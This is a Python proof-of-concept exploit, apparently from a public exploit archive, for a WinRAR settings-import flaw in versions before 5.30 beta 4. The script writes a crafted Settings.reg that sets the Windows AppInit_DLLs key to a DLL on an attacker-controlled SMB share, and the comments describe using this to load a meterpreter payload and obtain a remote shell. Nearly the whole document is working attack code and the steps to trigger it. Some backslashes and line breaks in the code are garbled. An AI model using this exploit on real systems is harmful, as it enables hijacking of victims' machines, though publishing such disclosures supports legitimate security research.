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WinRAR Settings Import Command Execution

Posted on 03 October 2015

#!/usr/bin/python -w
# Title : WinRar Settings Import Command Execution
# Date : 02/10/2015
# Author : R-73eN
# Tested on : Windows 7 Ultimate
# Vulnerable Versions : Winrar < 5.30 beta 4
# The vulnerability exists in the "Import Settings From File" function.
# Since Settings file of Winrar are saved as a registry file and WinRar executes
# it in an automatic way without checking if it is writing to the Registry keys
# used by winrar, we can create a specially crafted settings file and we can
# overwrite registry keys.
# Since we have access to registry there are various ways we could use this to
# get code execution such as defining "RUN" keys or creating new services etc
# However the best way to get code execution is using AppInit DLLs
# AppInit DLLs are DLLs that are loaded into any process when it starts.
# In this case, we can specify a meterpreter DLL payload using a UNC path on
# an SMB server we control and then next time a new process starts we will
# get a shell.
# Read more about AppInit Dlls : https://support.microsoft.com/en-us/kb/197571
#
# Triggering the vulnerability
# 1) Run this python script.
# 2) Open WinRar
# 3) Click Options
# 4) Click Import/Export
# 5) Import Settings from file
# 6) Select the Specially crafted Settings.reg file
#
# Disclosure Timeline:
# 01/10/2015 - Vendor Contacted POC provided
# 02/10/2015 - Vendor released patch in WinRAR 5.30 beta 4 on to verify
# presence of [HKEY_CURRENT_USERSoftwareWinRAR] or
# [HKEY_CURRENT_USERSoftwareWinRAR
#
#

banner = ""
banner +=" ___ __ ____ _ _ 
"
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ /  | | 
"
banner +=" | || '_ | |_ / _ | | _ / _  '_  / _  | | 
"
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ | |___ 
"
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|

"
print banner
print "[+] WinRar Settings Import Command Execution [+]
"
dll = raw_input("[+] Enter dll location (smb) : ")
dll = dll.replace("\","\\")
print "[+] Writing Contet To Settings.reg [+]"
evil = 'Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWindows]
"AppInit_DLLs"="' + dll + '"
"LoadAppInit_DLLs"=dword:00000001
'
print evil
f = open("Settings.reg","w")
f.write(evil)
f.close()
print "[+] Settings.reg created successfully [+]"
print "
 https://www.infogen.al/ 
"

 

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